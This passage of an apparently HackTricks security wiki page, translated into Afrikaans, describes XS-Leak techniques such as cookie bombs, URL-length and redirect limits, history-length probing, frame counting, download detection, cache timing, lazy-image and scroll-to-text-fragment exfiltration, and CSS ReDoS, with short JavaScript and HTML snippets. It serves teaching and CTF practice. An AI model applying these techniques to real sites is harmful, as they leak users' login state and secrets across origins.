As 'n bediener-kant omleiding gebruikersinvoer binne die omleiding en extra data gebruik. Dit is moontlik om hierdie gedrag te detecteer omdat bedieners gewoonlik 'n limiet op versoeklengte het. As die gebruikersdata daardie lengte - 1 is, omdat die omleiding daardie data gebruik en iets ekstra toevoeg, sal dit 'n fout ontlok wat via Fout Gebeure opspoorbaar is.

As jy op een of ander manier koekies aan 'n gebruiker kan stel, kan jy ook hierdie aanval uitvoer deur voldoende koekies te stel (cookie bomb) sodat met die verhoogde grootte van die korrekte respons 'n fout ontlok word. In hierdie geval, onthou dat as jy hierdie versoek vanaf 'n dieselfde webwerf ontlok, <script> outomaties die koekies sal stuur (sodat jy vir foute kan kyk).
'n Voorbeeld van die koekie bom + XS-Search kan gevind word in die bedoelde oplossing van hierdie skrywe: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended

SameSite=None of om in dieselfde konteks te wees, is gewoonlik nodig vir hierdie tipe aanval.

URL Maks Lengte - Kliënt Kant

Volgens Chromium dokumentasie, is Chrome se maksimum URL-lengte 2MB.

In die algemeen het die webplatform nie beperkings op die lengte van URL's nie (alhoewel 2^31 'n algemene limiet is). Chrome beperk URL's tot 'n maksimum lengte van 2MB vir praktiese redes en om te verhoed dat dit ontkenning van diens probleme in inter-proses kommunikasie veroorsaak.

Daarom, as die omleiding URL in een van die gevalle groter is, is dit moontlik om dit te laat omlei met 'n URL groter as 2MB om die lengte limiet te tref. Wanneer dit gebeur, wys Chrome 'n about:blank#blocked bladsy.

Die waarneembare verskil is dat as die omleiding voltooi was, window.origin 'n fout gooi omdat 'n kruis oorsprong nie daardie inligting kan toegang nie. As die limiet egter getref is en die gelaaide bladsy about:blank#blocked was, bly die venster se origin dié van die ouer, wat 'n toeganklike inligting is.

Al die ekstra inligting wat nodig is om die 2MB te bereik, kan via 'n hash in die aanvanklike URL bygevoeg word sodat dit in die omleiding gebruik sal word.

URL Max Length - Client Side

Maks Omleidings

As die maks aantal omleidings wat 'n blaaiers kan volg 20 is, kan 'n aanvaller probeer om sy bladsy met 19 omleidings te laai en uiteindelik die slagoffer na die getoetste bladsy te stuur. As 'n fout ontlok word, dan was die bladsy besig om die slagoffer te herlei.

Geskiedenis Lengte

Die Geskiedenis API laat JavaScript kode toe om die blaaiers geskiedenis te manipuleer, wat die bladsye wat deur 'n gebruiker besoek is, stoor. 'n Aanvaller kan die lengte eienskap as 'n insluitingsmetode gebruik: om JavaScript en HTML navigasie te detecteer.
Kontroleer history.length, maak 'n gebruiker na 'n bladsy navigeer, verander dit terug na die selfde oorsprong en kontroleer die nuwe waarde van history.length.

Geskiedenis Lengte met dieselfde URL

  • Insluitingsmetodes: Frames, Pop-ups
  • Waarneembare Verskil: As die URL dieselfde is as die geraamde een
  • Opsomming: Dit is moontlik om te raai of die ligging van 'n raam/pop-up in 'n spesifieke URL is deur die geskiedenis lengte te misbruik.
  • Kode Voorbeeld: Hieronder

'n Aanvaller kan JavaScript kode gebruik om die raam/pop-up ligging na 'n geraamde een te manipuleer en dit dadelik na about:blank te verander. As die geskiedenis lengte toeneem, beteken dit die URL was korrek en dit het tyd gehad om te verhoog omdat die URL nie herlaai word as dit dieselfde is nie. As dit nie toeneem nie, beteken dit dit het probeer om die geraamde URL te laai, maar omdat ons dadelik daarna about:blank gelaai het, het die geskiedenis lengte nooit toegenomen toe die geraamde url gelaai is.

javascript
async function debug(win, url) {
win.location = url + "#aaa"
win.location = "about:blank"
await new Promise((r) => setTimeout(r, 500))
return win.history.length
}

win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=c"))

win.close()
win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=b"))

Raam Tel

Tel die aantal rame in 'n web wat via iframe of window.open geopen is, kan help om die status van die gebruiker oor daardie bladsy te identifiseer.
Boonop, as die bladsy altyd dieselfde aantal rame het, kan die deurlopende kontrole van die aantal rame help om 'n patroon te identifiseer wat inligting kan lek.

'n Voorbeeld van hierdie tegniek is dat in chrome, 'n PDF met raam tel gedetecteer kan word omdat 'n embed intern gebruik word. Daar is Open URL Parameters wat 'n mate van beheer oor die inhoud toelaat soos zoom, view, page, toolbar waar hierdie tegniek interessant kan wees.

HTMLElements

Inligtingslek deur HTML-elemente is 'n bekommernis in websekuriteit, veral wanneer dinamiese media-lêers gegenereer word op grond van gebruikersinligting, of wanneer watermerke bygevoeg word, wat die media-grootte verander. Dit kan deur aanvallers benut word om tussen moontlike toestande te onderskei deur die inligting wat deur sekere HTML-elemente blootgestel word, te analiseer.

Inligting Blootgestel deur HTML Elemente

  • HTMLMediaElement: Hierdie element onthul die media se duration en buffered tye, wat via sy API verkry kan word. Lees meer oor HTMLMediaElement
  • HTMLVideoElement: Dit blootstel videoHeight en videoWidth. In sommige blaaiers is addisionele eienskappe soos webkitVideoDecodedByteCount, webkitAudioDecodedByteCount, en webkitDecodedFrameCount beskikbaar, wat meer diepgaande inligting oor die media-inhoud bied. Lees meer oor HTMLVideoElement
  • getVideoPlaybackQuality(): Hierdie funksie bied besonderhede oor video-afspeelkwaliteit, insluitend totalVideoFrames, wat die hoeveelheid video-data wat verwerk is, kan aandui. Lees meer oor getVideoPlaybackQuality()
  • HTMLImageElement: Hierdie element lek die height en width van 'n beeld. As 'n beeld egter ongeldig is, sal hierdie eienskappe 0 teruggee, en die image.decode() funksie sal verwerp word, wat die mislukking om die beeld korrek te laai aandui. Lees meer oor HTMLImageElement

CSS Eiendom

Webtoepassings kan die webwerf-styling verander afhangende van die status van die gebruiker. Cross-origin CSS-lêers kan op die aanvaller se bladsy ingebed word met die HTML skakel element, en die reëls sal op die aanvaller se bladsy toegepas word. As 'n bladsy hierdie reëls dinamies verander, kan 'n aanvaller hierdie verskille opspoor afhangende van die gebruiker se toestand.
As 'n lek tegniek kan die aanvaller die window.getComputedStyle metode gebruik om CSS eienskappe van 'n spesifieke HTML-element te lees. As gevolg hiervan kan 'n aanvaller arbitrêre CSS-eienskappe lees as die betrokke element en eienskapnaam bekend is.

CSS Geskiedenis

note

Volgens hierdie werk dit nie in headless Chrome nie.

Die CSS :visited selektor word gebruik om URL's anders te styl as hulle voorheen deur die gebruiker besoek is. In die verlede kon die getComputedStyle() metode gebruik word om hierdie stylverskille te identifiseer. Modern blaaiers het egter sekuriteitsmaatreëls geïmplementeer om te voorkom dat hierdie metode die toestand van 'n skakel onthul. Hierdie maatreëls sluit in om altyd die berekende styl terug te gee asof die skakel besoek is en om die style wat met die :visited selektor toegepas kan word, te beperk.

Ten spyte van hierdie beperkings, is dit moontlik om die besoekte toestand van 'n skakel indirek te onderskei. Een tegniek behels om die gebruiker te mislei om met 'n area te interaksie wat deur CSS beïnvloed word, spesifiek deur die mix-blend-mode eienskap te gebruik. Hierdie eienskap laat die menging van elemente met hul agtergrond toe, wat moontlik die besoekte toestand kan onthul op grond van gebruikersinteraksie.

Verder kan opsporing bereik word sonder gebruikersinteraksie deur die weergawe-tyd van skakels te benut. Aangesien blaaiers besoekte en onbesoekte skakels anders kan weergee, kan dit 'n meetbare tydverskil in weergawe inbring. 'n Bewys van konsep (PoC) is in 'n Chromium-foutverslag genoem, wat hierdie tegniek demonstreer deur verskeie skakels te gebruik om die tydverskil te versterk, wat die besoekte toestand deur tydanalise opspoorbaar maak.

Vir verdere besonderhede oor hierdie eienskappe en metodes, besoek hul dokumentasiebladsye:

ContentDocument X-Frame Lek

In Chrome, as 'n bladsy met die X-Frame-Options kopstuk op "deny" of "same-origin" as 'n objek ingebed word, verskyn 'n foutbladsy. Chrome keer 'n leë dokumentobjek (in plaas van null) vir die contentDocument eienskap van hierdie objek terug, anders as in iframes of ander blaaiers. Aanvallers kan dit benut deur die leë dokument op te spoor, wat moontlik inligting oor die gebruiker se toestand kan onthul, veral as ontwikkelaars die X-Frame-Options kopstuk inkonsekwent stel, dikwels die foutbladsye oor die hoof sien. Bewustheid en konsekwente toepassing van sekuriteitskopstukke is van kardinale belang om sulke lekke te voorkom.

Aflaai Opsporing

Die Content-Disposition kopstuk, spesifiek Content-Disposition: attachment, gee die blaaiers opdrag om inhoud af te laai eerder as om dit inline te vertoon. Hierdie gedrag kan benut word om te bepaal of 'n gebruiker toegang het tot 'n bladsy wat 'n lêeraflaai inisieer. In Chromium-gebaseerde blaaiers is daar 'n paar tegnieke om hierdie aflaai gedrag te detecteer:

  1. Aflaai Balk Monitering:
  • Wanneer 'n lêer in Chromium-gebaseerde blaaiers afgelaai word, verskyn 'n aflaai balk onderaan die blaaiervenster.
  • Deur veranderinge in die vensterhoogte te monitor, kan aanvallers die verskyning van die aflaai balk aflei, wat daarop dui dat 'n aflaai inisieer is.
  1. Aflaai Navigasie met Iframes:
  • Wanneer 'n bladsy 'n lêeraflaai inisieer met die Content-Disposition: attachment kopstuk, veroorsaak dit nie 'n navigasie gebeurtenis nie.
  • Deur die inhoud in 'n iframe te laai en vir navigasie gebeurtenisse te monitor, is dit moontlik om te kontroleer of die inhoudsdisposisie 'n lêeraflaai veroorsaak (geen navigasie) of nie.
  1. Aflaai Navigasie sonder Iframes:
  • Soos die iframe tegniek, behels hierdie metode die gebruik van window.open in plaas van 'n iframe.
  • Monitering van navigasie gebeurtenisse in die nuutgeopende venster kan onthul of 'n lêeraflaai inisieer is (geen navigasie) of as die inhoud inline vertoon word (navigasie vind plaas).

In scenario's waar slegs ingelogde gebruikers sulke aflaaie kan inisieer, kan hierdie tegnieke gebruik word om indirek die gebruiker se autentikasietoestand af te lei op grond van die blaaiers se reaksie op die aflaai versoek.

Gedeeltelike HTTP Cache Bypass

warning

Dit is waarom hierdie tegniek interessant is: Chrome het nou cache partitionering, en die cache sleutel van die nuutgeopende bladsy is: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx), maar as ek 'n ngrok bladsy open en fetch daarin gebruik, sal die cache sleutel wees: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), die cache sleutel is anders, so die cache kan nie gedeel word nie. Jy kan meer besonderhede hier vind: Gaining security and privacy by partitioning the cache
(Kommentaar van hier)

As 'n webwerf example.com 'n hulpbron van *.example.com/resource insluit, sal daardie hulpbron die dieselfde caching sleutel hê asof die hulpbron direk deur top-level navigasie aangevra is. Dit is omdat die caching sleutel bestaan uit top-level eTLD+1 en raam eTLD+1.

Omdat toegang tot die cache vinniger is as om 'n hulpbron te laai, is dit moontlik om te probeer om die ligging van 'n bladsy te verander en dit 20ms (byvoorbeeld) daarna te kanselleer. As die oorsprong na die stop verander is, beteken dit dat die hulpbron in die cache was.
Of kan net 'n paar fetch na die potensieel gecachede bladsy stuur en die tyd meet wat dit neem.

Handmatige Oorleiding

Fetch met AbortController

Gebruik fetch en setTimeout met 'n AbortController om beide te detecteer of die hulpbron in die cache is en om 'n spesifieke hulpbron uit die blaaiers se cache te verwyder. Boonop vind die proses plaas sonder om nuwe inhoud te cache.

Skrip Besoedeling

Dienswerkers

In die gegewe scenario neem die aanvaller die inisiatief om 'n dienswerker binne een van hul domeine, spesifiek "attacker.com", te registreer. Vervolgens open die aanvaller 'n nuwe venster in die teikenwebwerf vanaf die hoofdokument en gee die dienswerker opdrag om 'n timer te begin. Terwyl die nuwe venster begin laai, navigeer die aanvaller die verwysing wat in die vorige stap verkry is na 'n bladsy wat deur die dienswerker bestuur word.

By die aankoms van die versoek wat in die vorige stap inisieer is, reageer die dienswerker met 'n 204 (No Content) statuskode, wat die navigasieproses effektief beëindig. Op hierdie punt vang die dienswerker 'n meting van die timer wat vroeër in stap twee begin is. Hierdie meting word beïnvloed deur die duur van JavaScript wat vertragings in die navigasieproses veroorsaak.

warning

In 'n uitvoeringstyd is dit moontlik om netwerkfaktore te elimineer om meer presiese metings te verkry. Byvoorbeeld, deur die hulpbronne wat deur die bladsy gebruik word, te laai voordat dit gelaai word.

Fetch Tyd

Cross-Window Tyd

Met HTML of Re-inspuiting

Hier kan jy tegnieke vind om inligting uit 'n cross-origin HTML te injecteer HTML-inhoud. Hierdie tegnieke is interessant in gevalle waar jy om enige rede HTML kan injecteer maar nie JS-kode kan injecteer nie.

Hangende Merkup

Dangling Markup - HTML scriptless injection

Beeld Luie Laai

As jy inhoud moet uitlek en jy kan HTML voor die geheim byvoeg, moet jy die gewone hangende merkup tegnieke nagaan.
As jy egter om enige rede MOET dit karakter vir karakter doen (miskien is die kommunikasie via 'n cache hit), kan jy hierdie truuk gebruik.

Beelde in HTML het 'n "loading" eienskap waarvan die waarde "lazy" kan wees. In daardie geval sal die beeld gelaai word wanneer dit gesien word en nie terwyl die bladsy laai nie:

html
<img src=/something loading=lazy >

Daarom kan jy 'n baie junk karakters (Byvoorbeeld duisende "W"s) byvoeg om die webblad te vol te maak voor die geheim of iets soos <br><canvas height="1850px"></canvas><br>.
As ons inspuiting byvoorbeeld voor die vlag verskyn, sal die beeld gelaai word, maar as dit na die vlag verskyn, sal die vlag + die junk voorkom dat dit gelaai word (jy sal moet speel met hoeveel junk om te plaas). Dit is wat gebeur het in hierdie skrywe.

'n Ander opsie sou wees om die scroll-to-text-fragment te gebruik as dit toegelaat word:

Scroll-to-text-fragment

Maar jy laat die bot toegang tot die bladsy maak met iets soos

#:~:text=SECR

So die webblad sal iets soos wees: https://victim.com/post.html#:~:text=SECR

Waar post.html die aanvaller se rommelkarakters en lui laai beeld bevat en dan die geheim van die bot bygevoeg word.

Wat hierdie teks sal doen, is om die bot toegang te gee tot enige teks op die bladsy wat die teks SECR bevat. Aangesien daardie teks die geheim is en dit net onder die beeld is, sal die beeld slegs laai as die geraamde geheim korrek is. So daar het jy jou orakel om die geheim karakter vir karakter te exfiltreer.

'n Voorbeeld van kode om dit te benut: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

Beeld Lui Laai Tydgebaseerd

As dit nie moontlik is om 'n eksterne beeld te laai wat die aanvaller kan aandui dat die beeld gelaai is nie, kan 'n ander opsie wees om te probeer om die karakter verskeie kere te raai en dit te meet. As die beeld gelaai word, sal al die versoeke langer neem as wanneer die beeld nie gelaai word nie. Dit is wat in die oplossing van hierdie skrywe samengevat is hier:

Event Loop Blocking + Lazy images

ReDoS

Regular expression Denial of Service - ReDoS

CSS ReDoS

As jQuery(location.hash) gebruik word, is dit moontlik om via tyd te vind of enige HTML-inhoud bestaan, dit is omdat as die selektor main[id='site-main'] nie ooreenstem nie, dit nie die res van die selektore hoef te kontroleer nie:

javascript
$(
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
)

CSS Inspuiting

CSS Injection

Verdedigings

Daar is verskeie versagings aanbeveel in https://xsinator.com/paper.pdf ook in elke afdeling van die wiki https://xsleaks.dev/. Kyk daar vir meer inligting oor hoe om teen hierdie tegnieke te beskerm.

Verwysings

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks